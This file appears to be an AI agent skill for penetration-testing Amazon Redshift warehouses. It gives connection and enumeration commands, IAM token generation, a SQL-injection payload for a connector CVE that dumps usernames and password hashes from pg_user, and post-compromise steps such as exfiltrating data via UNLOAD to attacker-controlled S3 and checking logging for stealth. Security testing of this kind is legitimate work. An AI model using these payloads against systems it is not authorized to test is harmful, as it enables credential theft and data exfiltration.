| name | redshift-pentest |
| description | Pentest Amazon Redshift data warehouse (port 5439). Use this skill whenever the user mentions Redshift, AWS data warehouse, port 5439, PostgreSQL-like database on AWS, or wants to enumerate/test Redshift security. This includes checking for public access, testing authentication paths (password, IAM tokens, SSO), exploiting misconfigurations, and testing for known vulnerabilities like CVE-2024-12744/5/6 in JDBC/Python/ODBC drivers. |
Redshift Pentesting Skill
This skill helps you enumerate, authenticate against, and test Amazon Redshift data warehouses for security issues. Redshift uses a modified PostgreSQL protocol on port 5439.
When to Use This Skill
Use this skill when:
- You need to test a Redshift cluster or workgroup
- You discover port 5439 open on a target
- You're assessing AWS data warehouse security
- You need to test IAM database authentication
- You want to check for public access misconfigurations
- You're investigating Redshift-specific vulnerabilities
Quick Start
1. Identify the Target
Public endpoint patterns:
- Provisioned:
<clusterid>.<random>.<region>.redshift.amazonaws.com
- Serverless:
<workgroup>.<random>.<region>.redshift-serverless.amazonaws.com
- China region:
.redshift.amazonaws.com.cn
Default port: 5439/TCP (customizable but rarely changed)
2. Test Connectivity
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
psql "host=<endpoint> user=<user> dbname=dev" -c 'select version();'
TLS Requirements: Redshift requires TLS 1.2+ with perfect-forward-secrecy ciphers. Old clients will fail.
3. Enumerate the Instance
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;
select * from svl_query_text;
Username enumeration: Different error messages for bad password vs missing user can leak valid usernames during brute force.
Authentication Paths to Test
Database Password
- Master user is often named
awsuser
- Test common credentials and password reuse
- Check for weak/default passwords
IAM Authentication Tokens
Generate short-lived credentials:
aws redshift get-cluster-credentials \
--cluster-identifier <id> \
--db-user pentest \
--db-name dev \
--duration-seconds 900
Then connect:
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
Abuse vectors:
- Stolen IAM credentials with
rds-db:connect equivalent permissions
- Overprivileged IAM roles attached to EC2 instances
- SSRF into VPC to reach Redshift endpoint
SSO / Identity Center / SAML
JDBC connections with plugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider may:
- Spin up local webserver for SSO callback
- Leak SAML assertions or temporary credentials via captured loopback traffic
Common Misconfigurations
1. Public Access
Check: PubliclyAccessible=true with wide-open security group (0.0.0.0/0)
Impact: Exposes Postgres-like surface for:
- Brute force attacks
- SQL injection exploitation
- Credential stuffing
Note: New clusters disable public access by default (Jan 2025), but legacy clusters may still be public.
2. Default Port + Default SG
Port 5439 with default security group is easily discoverable via Shodan/Censys.
3. No Enhanced VPC Routing
COPY/UNLOAD operations go over public Internet, enabling:
- Data exfiltration when attacker controls S3 bucket
- Data injection via compromised S3
Attack Techniques
Post-Compromise Actions
If you gain access:
Provisioned clusters (master user):
- Create Python UDFs for code execution (deprecated June 2026)
- Create external schema to Spectrum
- COPY from attacker-controlled S3 bucket
- UNLOAD to exfiltrate data to S3
Serverless workgroups:
- No superuser available
- Same SQL attack surface as provisioned
- Limited to granted privileges
Check Logging Configuration
select * from svl_query_text where query_text like '%enable_user_activity_logging%';
CVE-2024-12744/5/6 - Client-Side Metadata SQLi
Affected versions:
- JDBC: 2.1.0.31
- Python connector: 2.1.4
- ODBC: 2.1.5.0
Vulnerability: Metadata queries (getSchemas, getTables, getColumns) build SQL with unquoted user input.
Exploit (Python):
import redshift_connector
conn = redshift_connector.connect(
host='<endpoint>',
database='dev',
user='lowpriv',
password='pw'
)
cur = conn.cursor()
cur.get_tables(
table_schema='public',
table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--"
)
Impact: Arbitrary SQL execution with the DB user's privileges if an application lets attackers control catalog/pattern arguments.
UDF Execution Model
Python UDFs: End of support June 30, 2026
- Legacy provisioned clusters still run Python UDFs
- In-cluster code execution (no filesystem/network access)
- Offensive value: RCE primitive within cluster
Lambda UDFs: Required after June 2026
- Code runs in Lambda with IAM role
- May reach Internet/VPC endpoints
- Potential for SSRF/pivot but no direct cluster filesystem access
Hunting tip: Look for old clusters with Python UDFs enabled.
Recent Security Changes
January 2025
- Public access disabled by default on new clusters/snapshots
- Legacy clusters may still be publicly accessible
June 2025
- Serverless VPCE rollout: workgroup endpoints created in up to 3 AZs
- Discovery tools should enumerate all workgroup VPCE DNS names per AZ
Encryption
- Encryption at rest + enforced TLS by default
- Sniffing/MITM harder; need valid credentials or SSRF into VPC
Parameter Group Checks
Check these parameters for security implications:
require_ssl: Controls if plaintext connections allowed (default: true in default.redshift-2.0)
max_concurrency_scaling_clusters: Affects brute force resistance
enable_user_activity_logging: Disabled = easier stealth
References